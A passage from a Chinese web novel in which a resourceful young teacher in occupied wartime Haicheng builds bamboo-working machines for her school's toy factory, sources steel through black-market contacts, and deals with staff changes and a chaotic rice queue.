这一点,权衡中的春妮也心知肚明。 她大概明白常文远的心思,对方是想在临走之前,为自己的队友加一份保险,但春妮无法相信另一个连面都没见过的人。她那次帮助常文远,已经打破了自己的原则。 如果只是单纯地帮忙找药拿药,她现在就可以答应下来,但是这药牵涉到她的来历,必须慎之又慎。 她缓缓道:“你想了好?找我拿药的话,我还是之前的那个规矩。” 常文远心中大喜,脸上也不觉带了笑:“我明白的,不会叫你为难。”言毕,忍不住劝道:“其实你和夏生应该到后方去,那里局势不像这里复杂,过日子也容易些。” 春妮好不容易才到的海城,渣爹的事没有下文,怎么可能走?何况这将近一年来,她付出了多少,才赢来现在的局面,让她走—— “我不走,这里是我的家,我就在这守着,哪也不去。”她一字一字道。 常文远不知想到了什么,神色肃然:“你说得不错,咱们自己的家,就该好好守着。等安顿好吴江大学的事,我一定会再回来。” 春妮:“……” “你教我开车吧,”她忽然说:“说不定我很快会用上。” 春妮当然会开车,但这个年代的汽车没有倒车装置,全程使用手刹。真的决定要参与更深的话,这些技能还是更快熟悉起来的好。 还有牛车马车什么的,都要找机会学起来,方便逃命什么的…… 常文远盯着她看了会儿,突然笑道:“看你这脸色,是准备去劫道还是劫营?” 春妮:“干这种事不比劫道劫营还危险,我这不是多两手准备么?” 常文远笑容卡住半秒:“忘了同你讲。我跟上边说过,你这里情况特殊,不到万不得以,不会有人来找你。” 春妮:“……所以你说我是白紧张半天了?” “倒不至于,你说得是,这些东西原本就该学起来。上车吧,我教你。” ………… 时间忽忽一月过去,学校经过一整个月的扩张,诸事繁忙,人人都忙得脚不点地之时,春妮终于再一次迎来了离别。 早在教春妮开车的几天后,常文远就先一步离开了海城。 跟常文远的离开一样,常先生一家人的离开谁也没通知。只在某一天方校长去川陕北路的吴江大学寻常先生时,被房东告知,说他们租的房子在前几天已经退了租,并给他们留了封信。 那封信用红印泥戳了个戳,边缘处有一道细微不可见的折线,它应该被打开过。 方校长毫无所觉,拉春妮来看:“你看看常先生是不是还有什么话没交代?” 能有什么话?该说的,能说的,早就在来往间一次次地说完了,在纸上的无非是给人看的。 信纸上果然寥寥数行,只写着本人一家人因工作有变,已于近日搬离海城,特告知各方亲朋,不必挂念,希望各自珍重,静待来日相见。下边一个龙飞凤舞的签名,是常先生亲笔无疑。 信上的字很潦草,估计是批量写作。 “张先生走了,常先生也走了,以后,咱们学校真的要靠自己了。”方校长半天没搁下信纸,怅然道。 一回神,见春妮从他笔筒中抽出一支笔,刷刷写下几行字,不由凑过来看:“小顾老师,有什么话不能直说吗?你写的什么?” “下月所需物资清单,”春妮头也不抬:“校长既然这么有空,趁早办下来呗。” 方校长:“……我看看。纸张两百斤,青竹五千根,钢材三百斤,要这么多钢材干什么?!” 春妮:“校长你忘了,你答应的舒老师,要拨钱做破竹机的?” 方校长:“三百斤钢材,我疯了吧我——” 春妮冷漠脸:“校长,要我提醒你吗?” 前几天,包教授最后一次到学校来找了方校长,坐下咵咵咵列出一通公式,计算出造破竹机所需的原料,成本,再算出一台破竹机一天可破多少竹子,制造多少产能,这些竹子可以生产什么,附加产值又是什么,能为工厂带来多少利润,云云云云…… 反正半天下来,不知道方校长是被包教授侃晕的,还是真的被说服的,结果就是—— 方校长 “啊”地大叫:“你不用说,我想起来了!” 当然也是因为,吴江大学有些带不走的物资,像是那台印一次喘三年的印刷机,这次也被留了下来。常先生知道他们在研究彩印的事,特地说过,会把印刷机留给春妮他们使用。 印刷机送来学校后,舒老师他们领着人再次检查了一遍,确认它真的被玩坏到没有维修的价值后,发现因为大家都比较珍惜发电机部分,它竟没怎么损坏,于是,他已经搁置的“破竹机制造计划”又蠢蠢欲动,还请动了包教授来学校当说客呗。 方校长抵赖不得,哼哼半天找出个理由:“对了,我上次没想起来,现在多米诺的生意已经没有以前那么好做。别咱们破竹机没做好,东西先卖不出去了吧?” 春妮早知道这事不会有这么顺利,方校长爱思虑,遇到什么事都容易想得多。 “我已经有其他计划了,破竹机做完之后正好用得着。” “什么计划?” 春妮从包里取出一份文件递给他。 方校长接过来,没有马上打开,而是警惕地问:“这次只用做破竹机,不用再投入别的什么了吧?” 春妮冲他微微一笑,左眼睛里写着“做”,右眼睛里写着“梦”。 方校长顿时眼睛一瞪:“还要钱?要钱干什么?” “宣传费用啊。当然您愿意多投点钱进去,我一点意见都没有。” “还要宣传?上两次咱们可都没怎么宣传的。”方校长嘀咕着,打开了文件:“我倒要看看,这次能做个什么东西出来。” 第72章 072 干大事 “麻将凉席?是麻将?还是凉席?”方校长不解地嘀咕一句, 接着往下看去。 麻将凉席当然就是麻将凉席了。 早在春节前,春妮就预测到,他们的多米诺生意可能火爆不了多久了。 这跟他们产品的品质和其他厂家的同质竞争关系不大, 纯粹是海城市场就这么点, 经过节前节后他们玩具厂的密集性渗入,再有春节和元宵节两大节日加成,市场短期之内达到饱和,需求该回落了。 当然,这个产品放在这,是个细水长流的生意,也不能真的断了。 虽然随着学生们手艺的提高, 后面春妮他们又开发出了诸如儿童车,木马, 风车等玩具。但这些玩具对手工的要求高,产量也不如多米诺量 多质高,价钱更不如多米诺便宜,利润比起前者来说, 相形见绌很多。 这里说的相形见绌,只是跟多米诺的暴利相比。 托赖于多米诺打开的局面, 现在好多趣玩具厂在海城的某些圈子知名度可是不小。春妮将做出的玩具新品送到卫宅,其他的不论,她的木头汽车请普尔南老爷爷做顾问, 又让舒老师他们实验出几种轻质耐摔打的材料,研制出一种发条汽车玩具, 使汽车轮子不再是摆设,是真的会自己转自己,这叫卫小少爷新鲜了好一阵子。 借此机会, 郑经理以卫家为噱头,加上玩具的确新鲜有意思,打开了百货商场和游乐园的大门,终于接续上了多米诺之后的空档。 但这种木头玩具做工精巧,虽然有了带锯机帮助切割,但一来带锯机要切竹子,再者玩具汽车的体积小,切割起来更麻烦效率更低,成本自然要高出不少,再加上发条等其他装备,所以它的市场不可能有多米诺那样广阔。 上有所好,下必效焉。毕竟多米诺一万张牌可以摆,十张牌也可以摆,不挑场合不挑财力,真正是老少咸宜的玩具。 正如春妮曾在年后生产会上预测的那样,多米诺的风真的从上面往下刮了起来。 春妮他们的竹牌虽说再也卖不到像皇家桌球俱乐部那样一来就是几十万张那么多,但放到零售市场,一次买十到一百张的人群一天比一天多,多米诺真正走入了中产阶级乃至工人家庭的视野。 再有百货公司和游乐园的会场布置的隐形宣传,耐心经营下去,一笔一笔的进帐未必比不上皇家桌球俱乐部和先施百货等大商场的大订单。 但工厂开门没多久就吃了一条大鱼,好多趣的起点太高,包括韩厂长在内,每月再看着玩具车的销量,总有些意有不足之处。 当然,这不足之处更多是来源于,学校人员陡然增多,花销亦是陡增,大家面临的生存难关加大,必须对自己的要求更高。 现在学校的另外几间教室房顶倒是都盖上了,但听见消息的人源源不断赶过来,尽管校方一再重申,说条件有限,无法再招生,有好些个学生仍是每天来学校报到,蹲在教室门外听课,风雨无阻。 每每看到他们,春妮就觉得,再努力一点,似乎也不是那么勉强。 若是他们能够一直做出够新够有意思的玩具,也好凭此结识更多厉害人物,使学校的路走得更顺。 像多米诺那回,三月中有个青帮小头目递话说看上了他们的产业,想问他们收购,方校长拿出卫宅的名片,一下就将人吓了回去,安稳到了今天。 但多米诺的机缘可遇不可求,春妮想了几天接下来要做的项目,要么他们技术不够做不了,要么预算太高无法顺利回本不合算,直到在空间里翻到了几领麻将凉席。 春妮霍然开朗:多米诺能够排成图案当玩具,难道不能串起来当凉席? 正好麻将凉席比多米诺多了一些技术要求,她拿出来让那些锯了几个月木头块的木工当进阶版学业完成,也正合适嘛! 别看春妮跟方校长像是话赶话说到这去了,其实她前边拿着从席子上拆下来的样品给化学老师计老师和物理老师舒老师都分别看过,分析出了技术难点,无非是竹块上需要打蜡,和竹子抛光打孔这几个问题。两位老师分别领了做蜡和抛光的问题研究三四天,初步有了成果,春妮这才有底气找方校长谈。 方校长犹豫再三,想到多米诺的受益,终究一咬牙:“好,这钢材我先批准了,你什么时候能造好?” 春妮早习惯了方校长挤牙膏似的批款,伸手道:“你现在给钱,我最多三天就能弄到手。” 方校长不信道:“开什么玩笑,这是三百斤钢材,你三天真能弄到?” 早在战争开始时,这些来自外洋的铁皮和钢材的价格便节节攀升,到如今有点门路的都会囤点子类似的东西。如今市场上,这个价格先不说他们是不是高攀得起,洋铁皮质量有好有劣,找到符合要求的,都是一件大难题。 春妮神秘一笑。 方校长顿时一惊:“你……不会要去找人买煤球吧?” 自从去年他们去买过煤球,跟那些皇协军搭上,后边春妮试探地问了一下,那些皇协军跟她做生意做上了瘾,曾经暗示过春妮,如果她想要些其他紧俏物资,比如汽油,煤油,棉花,他们也能想办法帮她弄到。 方校长说的买煤球的真实意思,只有他们两个人明白。 春妮心知跟这些人牵扯最好不要过深,当时只说会考虑。为防万一,跟方校长提了提,校长跟她一个意思,这个渠道能不动用就不动用才好,还怕她年纪轻性子燥贪小便宜,连着几天,见了面都要念叨一回。 直到前些天,春妮去市面上寻找合适的钢材,百寻不获,想到了那几个人,试探着打听了一下,他们竟然真的给了肯定的回答。 春妮挑挑眉,没答他。 方校长大急:“那……那可是,可是……那个,他们也能弄到?” “能弄到,”春妮伸出手:“而且质量绝对过硬。校长,先给钱吧。” 从报废军车上拆下来的组件,能不过硬吗? 这种事不好知道得过深,方校长抓心挠肝,百般按捺,才控制自己没再追问下去。 最后到底给了钱,只再三叮嘱春妮,让她一定注意安全,宁愿生意做不了,也千万别出什么事。 春妮一一答应下来。 不用方校长叮嘱,跟那边的接触,春妮一直保持着最警惕的态度。 因为到现在为止还是买方市场,每回见面,她都会先暗地考察,确定没问题,再出现得晚一点。他们抱怨过几次,也习惯了。 这次同样如此。 估计是第一次倒卖军用物资,那边比春妮还紧张,约好的地点改了好多回,最后在城外一处废弃的填埋场边见了面。 交易完毕,春妮走到人迹罕至处,直接取出上辈子珍藏的山地自行车,狂蹬出十来里地,找到一处小山坡。 直到确定附近再没有人烟,春妮找了个林木茂盛的地点,在周围布置好警戒装置隐蔽起来。然后拿出刚刚拿到手的铁板从空间拿,小心刮掉上面的军用油漆,打磨光滑,再取出便携式电锯,电焊枪等工具,一番锯锯焊焊,用油漆重新上一遍漆,总算将这几样东西改得面目全非,确定没有任何人可以认出它的来历,等待油漆全干,她骑上自行车下了山。 到春妮坐上最后一班电车,辗转回家,好好睡了一觉,第二天到了学校,才知道方校长见她一天没见人影,差点急得没去巡捕房报案。 方校长知道她这几天在忙活什么,一颗心时时刻刻为她提着,倒比春妮这个真的在干大事的人还着相。见到完好无损的春妮,他一下放松下来,差点没顺着墙根出溜下去。 春妮忙去搀他,小声将昨天她干的事说了一些,只说她拿到货之后,先找人改装了一天,回来得晚了,没来得及跟校长说一声。 方校长倒没怎么怪她,只说:“这种事,以后能不做还是不做的好吧。” 春妮随口答应着,心道:校长心理素质太差,以后这种事还是先做了再说,免得被人看出来。 至于不做,春妮不想吗?倭国人现在牢牢围住租界地区,为了让租界方屈服,连大米都不让进去,更不用说其他紧俏物资。租界里但凡有点门路的,谁现在不偷偷趁夜黑跑单帮走|私点东西?因为不走|私是真的活不下去。 这哪是她说不想做,就不用做的事。 闲话休叙,春妮的改装钢材送到学校,一时令以舒老师为首的物理老师们啧啧称奇。 他们奇的不是钢材质量出乎意料的好,而是这些钢材只需要用轴承和螺丝简单拼接一下,就真的可以组装起来了。 舒老师问春妮:“小顾老师,你在哪定做的钢材,这几个壳子拿到手正合用啊。” 破竹机春妮全程跟踪,机器外壳的参数是什么,她还能不明白?反正东西拿回来不能直接用,索性她就按照组件参数,直接给做出了半成品。 方校长的脑补中,能帮春妮处理这种东西的地方,肯定 也是什么不可说之处。任由这些老师们问东问西的肯定不好,因而打了个哈哈:“东西都给你们弄来了,不快点干活,问这么多干什么?” 舒老师摸着味道没完全散完的外壳爱不释手,问道:“这不是还要等着刀片吗?小顾老师,咱们的刀片什么时候能到货?” 经过几次改良,破竹机的核心刀片最终采用了环形刀片的设计方案。这种刀片需要的钢材,市面上没有,春妮手工也做不出车床做的精度,索性花大价钱找到一家德国机械公司,订制了一套。 “他们承诺的是五天内,再等几天吧。” 春妮答完舒老师,将这几天干的事盘点一遍,发现还有一个问题没解决:她偷偷买来的钢材该怎么寻个正规来路,给它洗白呢? 第73章 073 新目标 虽然这时候乱象多, 好糊弄,但干这种敏感的事尤其需要注意,不能留下任何把柄。 春妮的烦恼, 最后是韩厂长给她解决的。 他借买刀片认识了机械厂的一位财务人员, 花十块钱请对方帮忙开了张五百块钱的□□补到了工厂的帐面上。 最后,刀片到位时,学校核算总帐,一台机器花了不到三百块,除去花两百块买来的刀片,其他部件连刀片的零头都不到。 贡献最大的是春妮,她买那些破铜烂铁才花了不到三十块。要是全部交给机械厂定制, 没有个千儿八百的,怎么可能拿得下来?最关键是, 机械厂也拿不到她那么好的板材啊。 舒老师几个啧啧称奇,心里对小顾老师的能耐有了更新的认识。 方校长像捡了大便宜似的,一连几天见人都笑眯眯的。连郑经理找他批复的五百块钱宣传费,他没怎么留难就答应了下来。 对于这笔钱, 方校长自有一番神奇的逻辑自我攻略:只当这五百块全买了机器,这不相当于还是没另外出钱吗? 知道方校长的想法后, 春妮默默想,要是方校长知道,他其实年前早就为破竹机买过一次单……算了算了, 她是善良的人,这种事, 还是由她默默承担吧…… 等到麻将凉席的生意彻底做热起来后,大家更是体会到了自己制造机器的另一重大好处:别人没有破竹机,即使想仿制麻将凉席, 也没法像他们那样做到高效高质量,那么使用手工作坊的竞争对手们,他们的成本控制跟玩具厂就拉开了鸿沟。 摸着第一件由自己研发制造出来的机械产品,舒老师激动得几天没睡好觉。 他家中负担同样很重,没办法像其他同学一样,跟着老师去内地继续读书。幸好今年他已经是大四,学校提前给他发了大学毕业证书。 他拿着毕业证书去租界大大小小的机械厂碰了一大圈的壁,才知道如今机械厂经历过战时一波打击之后,半数以上的厂子倒闭的倒闭,搬迁的搬迁。剩下来的那些还在慢慢复苏之中,哪里有钱请得起新人? 后来他又去学校谋求教职,但海城的学校同样被毁得七七八八,最后还是托学弟的福,到这所名不见经传的小学混上了一口饭吃。 到学校时,舒老师初出社会的一腔雄心壮志已经被打磨得不剩多少。原以为至少在打退倭寇之前,他只能混混日子,谁能想到,峰回路转,他竟在学校附属的玩具厂实现了初次的自我价值! 由此可见,就像小顾老师经常对他们说的那样,你们读书人哪,就是喜欢想太多。想得再多,什么都不做,当然屁用没有了。 那就……再做一次试试? 春妮不知道她一通胡说竟再度激起了舒老师的斗志。 解决完竹子的机械化产业链第一步,只是解决问题的开始。 春妮对待人才向来不吝奖励。 学校那几名从参与研制破竹机,到负责给麻将凉席的竹块打蜡的老师通通被她拉进玩具厂挂了个顾问的职。 能够多一份收入,谁不开心?这下可把老师们乐坏了。 他们干劲满满,很快研制出了将竹块抛光的办法。别的都好,就是需要手工磨制,还要利用砂纸,石制磨块和大量的水力做砂磨冲洗,将竹块磨得圆润有光,这有点慢。 这个慢倒是没什么,毕竟给竹块打孔也很难。 做麻将凉席,横竖共四个孔,中间两孔需要在竹块的中心位置有个贯穿交叉点。打偏了,竹块中间让穿孔的绳子一磨,容易形成裂痕,凉席用不了多长时间,竹块就会松动脱落。 所以即使学校那些做了小半年木块和多米诺竹子的徒工们,提起给竹块打孔这事也要挠头。 要不怎么说读书有用呢,最后,学校一名叫田带财的学生用竹片做了个直角坐标形的模具,将竹块用两片标尺卡在坐标底部,标尺中心钻个孔,钻头从孔中钻进去,横竖来两下,什么问题都解决了。 事情报到韩厂长那,他当即大手笔地宣布,田带财除去本月正常发放的工资,另外将获得三十块钱的创新奖励金! 这下可刺激了众多还在靠计件拿死工资的徒工们! 这几个月,来玩具厂工作的学徒工们渐渐分为两个阵营。一方是以李铁柱为代表的,每天打扮得光鲜亮丽,早出晚归出入于百货公司,游乐场,为他们布置多米诺会场的学生,另一方就是这些在工厂天天锯木头块的徒工们了。 都同样进来的一批同学,有的人风光十分,连家人也跟着吃香喝辣,有的人还在吃灰吃土,每天辛辛苦苦做着体力活,只够一个人的温饱。这样鲜明的对比,能不叫人眼红吗?何况那些摆多米诺的有些人,在玩具厂并不是表现最出色的那一批。 说不羡慕,是不可能的。 可现在咱们徒工们这一圈的,也有了出息人物,也有了能赚大钱的机会呢! 众人热切万分,将田带财这个平时不显山不露水的徒工打探得差点连底裤都扒下来。 田带财别的都不出奇,唯一跟众人不一样的,就是他上个月被舒老师忽悠,不是,跟着舒老师去上了几节课的力学课。 他们也不管田带财设计的模具跟力学课有什么关系,打听到这一点,众人顿时蜂涌而至。 一时间,舒老师的物理课人满为患。 舒老师因为破竹机大受嘉赏,之后他并没有闲着,为工厂的带锯机又设计了一个可移动的操作台,工人锯木头时,只需要移动操作台,便可以将木台送入锯条下操作,令带锯机的操作安全性得以大幅提升,从而又获得了四十块的奖励金呢。 舒老师开心之后不免纳闷,问及原因,恍然大悟之余,顿时有了灵光:做麻将凉席,不止切割竹块是大工程,穿孔更是万千烦难,他切竹子都能实现机械化,那打孔呢? 这么一想,舒老师只觉找到了人生的新目标,拉来几位搭档嘀咕一番,干劲满满地投入了进去。 对舒老师他们私底下的动作,春妮暂时还不知道。 她不是没想过请老师们再研制新机器出来,但上次做个破竹机,费了老鼻子劲。春妮现在还在靠揉馒头回血呢,短期之内,她是真的不想再碰这些东西了。 结果不到半月,舒老师又拿着图纸主动上了门:“小顾老师,我们研制出了一种给竹子做的打孔机,你来看看。” 春妮当时心里就是一激灵:她的那些工具都是绝版好物,得爱惜着用,上回用过一次,不知是不是她的错觉,感觉到最后电锯仿佛都不像 之前那么好使了。万一磨损了弄坏了,不过个几十百把年,打哪再去弄这么好用的工具? 她拿过图纸时,嘴里说着“我看看”,心里已经在想,怎么拒绝舒老师,展开一看,登时就是一愣:“你这个机器,怎么——” “有点小是吧?” 春妮点头:舒老师的这个打孔机下边是操作台,上边的皮带转轮旁是壳体,有点类似于缝纫机,只是看参数,比缝纫机的机头大很多。 不过钻木头用的力道跟缝衣服不一样,机头大一些压得住钻头震动,这个设计倒也合理。 舒老师设计之前也是做过调研的:“我们考虑到打孔是精细操作,特意做了小型化设计。小顾老师,你看怎么样?” 小顾老师想说不行,但这个图纸看上去,比破竹机有意思多了。缝纫跟打孔,的确有点相似的地方。 她不觉问道:“电机呢?安在哪?” 舒老师往下指:“在这。”是在脚头边。 “那一台打孔机,怕是不够吧?” 舒老师腼腆地笑了笑。 春妮心中一揪:“先说好,我可没有那么多电机给你安。” 舒老师又笑了笑:“你不用这么害怕,这次的电机材料不难找。” “听你的意思,你已经有眉目了?”春妮的好奇心被彻底吊了起来。 舒老师点点头,缓缓说出了自己的办法。 因为这次设计的是小型机器,打孔机需要的发电机要求低了很多。舒老师设想的是,可以到旧货铺子里去找些冷气机,电风扇,电冰箱的电机拆下来,安到打孔机上,只要能带动机器正常运转,这样的电机就完全可用。 为了验证他理论的正确,他还现场将家里的老电扇拆了,钻头接到电机上,用插头一接,果然运行无碍。 上次带锯机实验,方校长不在,这次方校长全程围观,完了忍不住感叹:“果然是难者不会,会者不难。咱们头疼这么久的打孔问题,舒老师两根电线一拉,就什么都解决了。” 连最吝啬的方校长都这么说了,打孔机机械化是真的势在必行了。 现在学校可不像那会儿,资金相当充足,就是—— 春妮见大伙都看她,那个头却怎么也点不下去:让她改装个破竹机外壳,一点问题都没有,但打孔机,别的不说,就是它那个壳体,凭她那点水准,也造不出来啊。 气氛眼看慢慢僵滞,春妮脑中灵光一闪,突然想到了一个办法:“我觉得,咱们这回也许不用买钢材,可以捡个现成便宜。” “什么现成便宜?” 方校长对捡便宜最感兴趣,闻言,眼睛都亮了。 第74章 074 亲儿子 “我前些天听说城西缝纫机厂倒闭了, 在出清存货,咱们去城西缝纫机厂买几台缝纫机回来,改装改装就能代替机头了。” “城西缝纫机厂?是丰华吗?”王老师震惊地问:“丰华缝纫机厂会倒闭?这怎么可能?” “怎么不可能?”尹老师证实了这个消息:“我有个亲戚在厂里做事, 已经拿了遣送费回家。” 王老师跟众人科普了一下丰华缝纫机厂:“丰华是我们华国第一家缝纫机厂, 我记得战前他们曾经去过东南亚纺织业博览会,他们的一个什么机器还获得了银质奖章。他曾经在展览会宣传过,如今华国市面上七成以上的缝纫机,都是产自丰华,他们怎么会倒闭?” “哎呀,我想起来了,我小时候, 姆妈用的缝纫机好像就是丰华。我昨天用它缝了条窗帘,还是那么好用。”胡老师也说:“这么好的缝纫机厂, 怎么会倒闭?” “他们大股东送钱给双城政府抗倭,被宪兵队抓了起来,大股东一家急着卖厂子筹钱。” 尹老师一语激起千层浪,老师们一阵面面相觑。 韩厂长直言不讳:“什么送钱抗倭, 是倭国人看上了丰华,想谋夺别人的产业吧?” “肯定是这样, 我爸爸说过,丰华的大老板小气得很,他舍得出钱干这种事?”夏风萍也说出了小道消息:“要是他肯多出点钱, 把厂子迁到租界来,说不定还没这一劫呢。” 城西一带已经都到了76号手里掌控, 间接相当于落入到了倭人手中。丰华家大业大,哪有这样容易就塌了天? 要说这里头没有倭人的事,谁信呢? 众人围在一起, 也只能唏嘘几句。 舒老师比较关心春妮说的改装机头的事,担忧道:“小顾老师,真的能用缝纫机机头代替我们新机器的机头吗?会不会轻了些?” 现在学校连老师带其他的教职员工,起码有五六十人。实验现场人多嘴杂,舒老师心底焦急,不得不提醒春妮。 春妮道:“这不是我正要说的事吗?咱们去买一只机头回来试试,不就知道了吗?” 舒老师不解道:“即便如此,那也需要改装之后再试吧?我们工厂连个电焊枪都没有,没有这个条件吧?” 春妮便笑呵呵地,将目光投向方校长。 方校长后知后觉:“……说来说去,又要我掏钱?” 不过,相比于破竹机那样的大机器,一只缝纫机的机头只需要三十块,加上电焊枪,钻头等其他工具,一共花了不到一百块,这个费用已经很实惠了。 研发经费拿到手之后,因为机器器型小,舒老师他们只是将机头灌了些铅,令其重量达到电机带动的最低要求,再改装了一下机口,好放得下钻头,最后安上田带财创新的打孔卡槽,哦对,还有那台从旧电扇上拆下来的电机,这台打孔器总算初步具备了运行条件。 一个月后,二十台打孔机到位。 此时距离盛夏只有不到两个月,他们麻将凉席的所有准备工作总算全部都到位了。 而这个时候,舒老师他们的研究方向已经从这些小型机械转型了。 方校长这回实打实感觉到了这二十台机器同时运行起来的威力。 原本所有的木工发动起来,一天只能做一到三领席子,现在打孔机,破竹机全力开动,要不是磨圆抛光需要的时间长,一天三十领席子完全不在话下! 而二十台打孔机同时操作…… 见识到机械化的便利之后,方校长也终于大方起来。 他大手笔地拨给了舒老师一千块钱,供他们研究抛光机,还专门给他们弄到了几台电机,寄望于他们能够研制出更加省电轻便的机型,适应工厂的发展。 没错,连续的成功之后,舒老师他们已经不再满足于制造小型机器。他们将目光放到了发电机上。因为工厂这段时间用电压力陡增,电力公司再一次派了人来,警告他们说,如果他们再维持这样高的耗电量,电路还会出问题,让他们尽早考虑更换电线的问题。 舒老师几个做研究做出了瘾头,当即跟方校长申请拨款,说决定为工厂研究出最省电的发电机。“骗”到研究经费后,几名老师当即一头扎进三月底才落成的实验室中,过起了以实验室为家的日子。 当然,打磨机抛光机等一系列机器,都一并被放入了实验室计划,在研制当中。 其中打磨机因为普尔南老爷爷的加入,率先有了突破性进展。 早在三月份,因为工厂和学校的连续扩张,学校学生们的能力尚不足以独当一面,中等技术人员和高级管理人员缺少,学校的所有产业链都陷入了人才荒。 春妮知道普尔南老爷爷会维修八音盒,抱着玩具厂以后或许会用到,试试看的想法,邀请老爷子到工厂当了个顾问,没想到,说起机械制造,老爷子也头头是道。 普尔南老爷子以前经营着一间钟表铺,自己也是一名老匠人,对打磨工具再熟悉不过。 老爷子以他以前用过的一种工具为蓝本,竟然设计出了适合竹块的打磨机。只要找到耐磨的材料,就可以正式投产使用了。 这样的情况,让春妮心底放 下了一个重担。 一个组织的健康运作离不开所有人的努力,在玩具厂成立,到过年之前的这段时间,春妮感觉她就像老牛拉着一架破车一样,一个人负责所有环节的推动。可以说,整个工厂找不到定位和方向,都是她说了算,在围绕着她一个人运转。 这是不健康,并且很危险的。 春妮不是个喜欢独揽大权的人,如果不是形势所逼,她说不定现在还窝在老家种田。 现在她被时局推动着,走到海城来,走到这一步。虽说她所做的每个决定,她心甘情愿,并且愿意主动承担后果,但是,这样的状况太危险了。 工厂也好,学校也好,缺了谁都不应该停摆,尤其是这个朝不保夕的年代。 春妮很高兴,至少现在工厂关键部门的人都知道自己该干什么,并且干出了自己的成绩。包括舒老师在内的,工厂最核心的创新部门,每个人都找到了自己的价值,明白了自己该走的路。 包括夏风萍在内。 一个相对悠闲的傍晚后,夏风萍说起她想从小吃摊离职的时候,已经做好了被春妮当成背叛者批驳的准备,小姑娘却放松地笑了起来:“你终于想通了?” 夏风萍:“……”什么意思,她早就想赶她走了? 春妮握住她的手,激动地道:“我早就想说,以你的学识,屈就在我这个小吃摊上,实在是浪费人才。我原本还在想,找个时间问问,你是不是真打算一辈子卖糊辣汤的,幸好你还有点上进心。” 这才对嘛! 夏风萍扬了扬唇,嘴上却不满道:“你什么意思?我一直都很有上进心。” 春妮揉着肚子,晚饭的虾仁豆腐汤鲜得打牙:“别说废话,你找到了什么新工作?” “校长今天找我谈了话,想让我负责校外补习班的联络和安排。” 扩招之后,学校最初的几位老师职位都有了一些新变化。像王老师,韩厂长他们早就被吸纳进玩具厂,胡老师也在上个月兼任了印刷厂的部分业务,只有夏风萍有小摊的事忙,方校长没好意思跟春妮抢人,一直等到今天。 春妮其实没意见:“不错,你得跟校长谈条件。他净想着一个人当几个人用,咱们学校又不是没钱,不能叫他待自己人太差了。” “还有舒老师,他们弄到了一些外国学术期刊,想请我试着翻译一下。” 春妮瞪大眼睛:“你行啊。舒老师他们的期刊需要专业水平,这你都能翻译,厉害厉害。” 夏家父母很重视儿女的教育,夏太太曾经说过,希望儿女长大后去留学。在夏风萍很小的时候,夏家便为她请了外国家庭教师培养双语环境,到她长大一点之后,便送她进了全外文教会学校上学。如果不是前年那场战争,中学毕业的夏风萍这时候已经坐到了美利坚大学宽敞明亮的教室里学起了艺术或是文学。 夏家父母至今都不明白,他们为女儿创造了最好的条件,尽了所有的努力,不让她看到世间的真实,为什么她竟选择了最出人意料的那条路,还那么倔强。 跟夏风萍住了半年之久的春妮或许懂得一些。 她来自早就没有种族概念的后世,看西方世界的眼光不像这时候大部分那样,自带美化光环。 夏风萍从小全外文教育,但她是纯粹的华国人,跟学校里那些白皮肤的同学们比,她是个异类,人会天然排斥异类。偶尔从她的只言片语中,春妮能感觉到,她的校园生活并不那么愉快,反而回归到华国人的阵营,令她找到了自我。 大约是为了跟过去割裂,她非常排斥外文工作环境。那么坚决地辞掉玛丽医院的工作,除了为了理想,或许也是为了逃离白种人世界。 年前玩具厂去英国俱乐部,春妮就想请她帮忙,她怎么不乐意,也就没多勉强。 不知道舒老师跟她说了什么,总算令她改变了主意。 夏风萍倒也不盲目自大:“哪有,我也是边学边做。所以,你的小摊生意恐怕得另外找人接手了。” 春妮摆摆手:“你们的事要紧,我这里的活随时都能找到人替手。” 她这样一说,夏风萍反而着急了:“你别以为我做的工作简单。你都不晓得,遇到我有多幸运。我要是愿意,每天去采买菜品,能做的手脚多多了。光是买点次品菜按好价报,就够你喝一壶的。你也放心把这么些钱交给我处置。” 这倒也是。 夏风萍现在负责他们小摊除了煤炭之外的所有采买,虽说比起玩具厂不算什么,可这是春妮一手一脚打拼起来的产业,正宗的亲儿子,不能太马虎了。 但她现在身兼数职,身上的工作已经精减到只需要每天揉揉馒头,都还嫌时间不够用。要不是码头上的老顾客们只认她揉出来的馒头,她连揉馒头的时间都挤不出来。 再让她每天风雨无阻地去采买菜品也不现实。 别看她这个摊子不显山不露水,有好些消息她都是从这里得到的。包括上回青帮小头目想向玩具厂伸手的事,也是听个老食客说过,大家提前有了防范布置,才没叫那人得逞。 夏风萍的继承人不选好,这的确是个麻烦。 第75章 075 残渣剩菜 夏风萍给了春妮三天时间, 让她找人接任。 春妮却不想为自己的事耽误她时间,两人商量完这事的第二天,她就试着自己去了一趟菜市场。 这一去, 才知道夏风萍在平时为她省去了多少麻烦。 菜场里熙熙攘攘地, 挤满了人。 仿佛全海城的人都赶来了这个名不见经传的小菜市场,挤得春妮和跟着春妮来的小伙计无处下脚。 “今天是什么日子?怎么这么多人?”春妮找到一个平时相熟的摊贩打听情况。 这位卖粉条的大婶摇头道:“还能是啥日子,这几天工部局进的越南米昨天到埠,大伙知道消息,都赶来米店抢米。” 从去年开始,海城周边出产的粮食被倭国人一步步掌控,到强征为军粮, 直至去年年底,再也无法通过正常渠道流入海城市场之后, 工部局终于跟越南的法方当局谈妥合作,将越南米引进了海城。 玩具厂大股东高大海是大粮商,自从他入股之后,大概对工厂的盈利很满意, 大包大揽下来,只要他能弄到粮食, 优先供给学生。学校师生和春妮都没怎么操心过买粮食的事,对买米这样的大事,也就没怎么关注。 跟着春妮来的小伙计, 蒋四成心有余悸:“夏姐太厉害了,真不知道她每天买到东西怎么回家的。” 大婶说:“前两天知道消息的人不多倒还好, 谁让大伙都被吓怕了,昨天米刚到港就被人抢光了,今天天没亮就有人赶过来, 怕是周遭所有人都在排队等米店开门。” 两个人站在队伍外头看了看,只见排队的男女老少都有,有不少人带了小马扎,作好了长期战斗的准备。 忽然几名露着膀子的男人从外头走过来,这几人进了菜市场,既不继续往里走去采买,也没有排在队伍最后等待买米,而是几人一起,瞅着队伍前头长得矮小些的人,推推搡搡将人挤出来,趁前后没反应过来,再一前一后占住位置,几人便挤进了队伍。 剩下的那些人如法刨制,让这个原本井然有序的队伍顿时乱了起来:“哪个狗娘养的插老子队?” “你给老子滚出去!” 眼看队伍要乱下去,春妮赶紧交代蒋四成,让他在外头推着车子等,她先进菜市,买好东西让老板送出来,两人结伴离开。说完这些话之后,她排开人群,钻进了菜市场。 而背后那些买米的队伍推搡声渐渐大起来,眼看就要乱了,这时,不知是谁喊了声:“别打了,米铺开门了!” 